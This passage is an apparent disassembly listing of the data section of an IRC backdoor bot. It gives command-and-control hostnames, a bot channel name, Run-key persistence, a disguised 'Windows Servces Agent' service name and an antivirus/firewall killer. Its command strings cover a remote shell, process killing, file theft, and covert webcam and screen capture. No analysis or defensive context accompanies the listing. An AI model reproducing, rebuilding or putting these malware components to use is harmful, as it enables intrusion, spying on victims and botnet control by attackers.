		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43C95Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
		align 10h
asc_427C10	db 0Ah			; DATA XREF: sub_4235C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
		align 10h
dword_427C50	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: sub_423CEC+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4247EC+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424D78+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424D78+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4256C2:loc_4257B7o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_4256C2+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_4256C2+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4256C2+ADo
		align 10h
dword_427CF0	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: sub_425F03+5o
		dd 427E2Ch
off_427D0C	dd offset loc_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5
		dd offset sub_4266F6
		dd offset dword_427E78
off_427D1C	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5
		dd offset loc_426732
dword_427D28	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EC4
off_427D48	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5
		dd offset loc_426714
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F08
off_427D68	dd offset loc_4267F7	; DATA XREF: sub_4267E2o
					; ___:off_43D084o ...
		dd offset dword_427F38
off_427D70	dd offset loc_426813	; DATA XREF: sub_42682F+8o
					; sub_42686C+8o ...
		dd offset sub_4268CC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
		align 10h
dword_427D90	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4268D9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DB0	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: sub_426988+5o
dword_427DC8	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: sub_426C13+5o
		dd 43D084h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DF8	dd offset off_43D09C	; DATA XREF: ___:00427E10o
					; ___:00427E5Co ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427E18	dd 3 dup(0)		; DATA XREF: ___:00427E3Co
		dd 2, 427E10h, 3 dup(0)
		dd offset off_43D09C
		dd offset dword_427E18+4
off_427E40	dd offset off_43D0BC	; DATA XREF: ___:00427E58o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E40
		dd offset off_427DF8
		dd offset dword_427DC8+18h
		dd 0
		db    0			; DATA XREF: ___:00427E88o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427E58h
dword_427E78	dd 3 dup(0)		; DATA XREF: ___:00427D18o
		dd offset off_43D0BC
		dd offset unk_427E68
off_427E8C	dd offset off_43D0DC	; DATA XREF: ___:00427EA4o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E8C
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427EB0	dd 3 dup(0)		; DATA XREF: ___:00427ED4o
		dd 3, 427EA4h
dword_427EC4	dd 3 dup(0)		; DATA XREF: ___:00427D44o
		dd offset off_43D0DC
		dd offset dword_427EB0+4
off_427ED8	dd offset off_43D100	; DATA XREF: ___:00427EF0o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED8
		dd 0
		db    0			; DATA XREF: ___:00427F18o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427EF0h
dword_427F08	dd 3 dup(0)		; DATA XREF: ___:00427D64o
		dd offset off_43D100
		dd offset unk_427EF8
		dd offset dword_427DC8+18h
dword_427F20	dd 4 dup(0)		; DATA XREF: ___:00427F48o
		dd 1, 427F1Ch
dword_427F38	dd 3 dup(0)		; DATA XREF: ___:00427D6Co
		dd offset off_43D084
		dd offset dword_427F20+8
		align 10h
dword_427F50	dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF:	___:loc_426DF7o
		dd 0FFFFFFFFh, 426DE0h,	0
		dd offset sub_426DD8
dword_427F80	dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF:	___:loc_426E14o
		dd 0FFFFFFFFh, 426E04h,	0
		dd offset loc_426E0C
dword_427FB0	dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3	dup(0) ; DATA XREF: ___:loc_426E20o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FF8h, 4	dup(0)
; ---------------------------------------------------------------------------
		retf	40D7h
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 426E2Ah
dword_428010	dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF:	___:loc_426E32o
		dd offset off_43D084
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42686Ch, 0
		dd offset off_43D09C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_43D0BC
		align 10h
		dd 0FFFFFFFFh, 0
dword_428078	dd 1Ch,	426682h, 3, 428064h, 428048h, 42802Ch ;	DATA XREF: ___:0042809Co
dword_428090	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428078+8
		dd 0FFFFFFFFh, 426E3Ch
dword_4280A8	dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF:	___:loc_426E44o
		dd 0FFFFFFFFh, 426E4Eh
dword_4280CC	dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF:	___:loc_426E56o
		dd 0FFFFFFFFh, 426E60h
dword_4280F0	dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF:	___:loc_426E68o
		dd offset off_43D0DC
		align 8
		dd 0FFFFFFFFh, 0
dword_428120	dd 1Ch,	4266DEh, 3, 42810Ch, 428048h, 42802Ch ;	DATA XREF: ___:00428144o
dword_428138	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428120+8
		dd 0FFFFFFFFh, 426E72h
dword_428150	dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF:	___:loc_426E7Ao
dword_42816C	dd 2, 428048h, 42802Ch	; DATA XREF: ___:00428184o
dword_428178	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_42816C
		dd 5 dup(3EB67FB9h), 5 dup(1D93F236h), 5 dup(0FC74F54h)
		dd 7Ah dup(0)
		dd 0FC74F54h, 0
		dd 3EB67FB9h, 15h dup(0)
		dd 1D93F236h, 2FCh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041B7A3o
		dd offset loc_401205
		dd offset sub_40D878
		dd offset sub_40D89A
		dd offset dword_40E504+1CFh
dword_429014	dd 0			; DATA XREF: ___:0041B79Eo
dword_429018	dd 0			; DATA XREF: ___:0041B794o
		dd offset sub_41D052
		dd offset sub_42026D
		dd offset sub_423936
		dd offset word_424752
dword_42902C	dd 0			; DATA XREF: ___:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: sub_41B7D3+65o
		dd offset sub_4239DB
dword_429038	dd 0			; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C	dd 0			; DATA XREF: sub_41B7D3+76o
		dd offset byte_424763
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050	dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Br
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2088r
					; sub_40BACD+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C43r
					; sub_40BACD:loc_40BEBEr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DCFr
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Er
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_418359+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Br ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40ACB5+3Ar
					; sub_40ACB5+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aDark		db 'Dark',0             ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_4044A0o ...
		align 4
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404945o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDBo
					; sub_401ACD+7EAAo
		align 10h
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 77h			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 69h,	6Eh, 64h
		dd 72657373h, 652E6376h, 6578h
dword_429118	dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o
aWindowsServces	db 'Windows Servces Agent',0 ; DATA XREF: sub_401000+Eo
		align 4
asc_42913C:				; DATA XREF: ___:0040AD34o
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F26o
		align 4
aF		db '#f',0               ; DATA XREF: sub_401ACD+1D45o
					; sub_401ACD+303Fo ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+44A2o
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40C4o
					; sub_401ACD+4216o
		align 10h
off_429160	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4098FBo
					; "*@admin.com"
off_429164	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o
					; sub_41A19D+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o
					; sub_41A19D+D4o
		align 4
		dd offset aAdministrato_0 ; "administrator"
		dd 0
		dd offset dword_43D128
		dd offset aAdministrato_0 ; "administrator"
		align 10h
dword_429230	dd 10h			; DATA XREF: sub_401ACD+AFBr
					; sub_401ACD+B27r ...
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:0042921Co
					; ___:00429228o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_429160o
dword_4292D0	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429304	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 10h
unk_429330	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 10h
unk_429370	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429394	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_4293B0	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_4293BC	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
					; sub_415A2F+7Eo
dword_4293C4	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_40F6B3+EAo ...
unk_4293CC	db  2Dh	; -		; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o
		align 4
unk_429434	db  2Dh	; -		; DATA XREF: sub_401ACD+7F09o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_429454	db  2Dh	; -		; DATA XREF: sub_401ACD+7EECo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_429474	db  2Dh	; -		; DATA XREF: sub_401ACD+7E8Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E62o
		align 4
unk_4294C8	db  2Dh	; -		; DATA XREF: sub_401ACD+7E24o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E12o
					; sub_401ACD+7E79o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7DFBo
		align 4
asc_429548:				; DATA XREF: sub_401ACD+7DCBo
		unicode	0, <~>,0
unk_42954C	db  2Dh	; -		; DATA XREF: sub_401ACD+7D7Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 10h
unk_429570	db  2Dh	; -		; DATA XREF: sub_401ACD+7D0Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
unk_429598	db  2Dh	; -		; DATA XREF: sub_401ACD+7CC3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_4295BC	db  2Dh	; -		; DATA XREF: sub_401ACD+7CA1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
unk_4295E0	db  2Dh	; -		; DATA XREF: sub_401ACD+7C81o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_429604	db  2Dh	; -		; DATA XREF: sub_401ACD+7C5Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
dword_429628	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401ACD+7C3Ao
		dd 2E732520h, 0
unk_429644	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409684o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_429670	db  2Dh	; -		; DATA XREF: sub_401ACD+7BB0o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429694	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4095FCo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_4296BC	db  2Dh	; -		; DATA XREF: sub_401ACD+7B25o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+7B0Bo
unk_4296E8	db  2Dh	; -		; DATA XREF: sub_401ACD+79FEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_429710	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4094B2o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429734	db  2Dh	; -		; DATA XREF: sub_401ACD+79DBo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429754	db  2Dh	; -		; DATA XREF: sub_401ACD+79B7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_42977C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409467o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_4297A4	db  2Dh	; -		; DATA XREF: sub_401ACD+796Co
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_4297C4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4093FCo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_4297F4	db  2Dh	; -		; DATA XREF: sub_401ACD+7925o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429814	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409398o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429844	db  2Dh	; -		; DATA XREF: sub_401ACD+78C4o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_429868	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+7884o
		dd 27732527h, 2Eh
unk_429884	db  2Dh	; -		; DATA XREF: sub_401ACD+7802o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_4298A8	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+7785o
		dd 0
unk_4298C0	db  2Dh	; -		; DATA XREF: sub_401ACD+7754o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 10h
dword_429900	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+76E5o
		dd 2Eh
dword_429918	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_40913Fo
		dd 746E6573h, 2Eh
unk_429934	db  2Dh	; -		; DATA XREF: sub_401ACD+766Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_429954	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+762Fo
		dd 732520h
unk_42996C	db  2Dh	; -		; DATA XREF: sub_401ACD+7610o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_429998:				; DATA XREF: sub_401ACD+75F8o
					; sub_40F6B3+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42999C	db  2Dh	; -		; DATA XREF: sub_401ACD+75CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 10h
unk_4299C0	db  2Dh	; -		; DATA XREF: sub_401ACD+75C1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_4299E4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40901Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_429A24	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409014o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_429A64	db  2Dh	; -		; DATA XREF: sub_401ACD+753Do
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 10h
aVideo		db 'video',0            ; DATA XREF: sub_401ACD:loc_408F86o
		align 4
unk_429A98	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F73o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 10h
unk_429AD0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F6Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_429B04	db  2Dh	; -		; DATA XREF: sub_401ACD+748Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: sub_401ACD:loc_408EE5o
		align 4
unk_429B38	db  2Dh	; -		; DATA XREF: sub_401ACD+740Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 10h
unk_429B60	db  2Dh	; -		; DATA XREF: sub_401ACD+73D8o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
aDrivers	db 'drivers',0          ; DATA XREF: sub_401ACD:loc_408E58o
unk_429B90	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E45o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_429BCC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E3Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_429BFC	db  2Dh	; -		; DATA XREF: sub_401ACD+7361o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: sub_401ACD:loc_408DFDo
		align 10h
dword_429C30	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401ACD+7318o
		dd 2E732520h, 0
unk_429C4C	db  2Dh	; -		; DATA XREF: sub_401ACD+72D2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_429C7C	db  2Dh	; -		; DATA XREF: sub_401ACD+72B6o
		db 3, 34h, 2
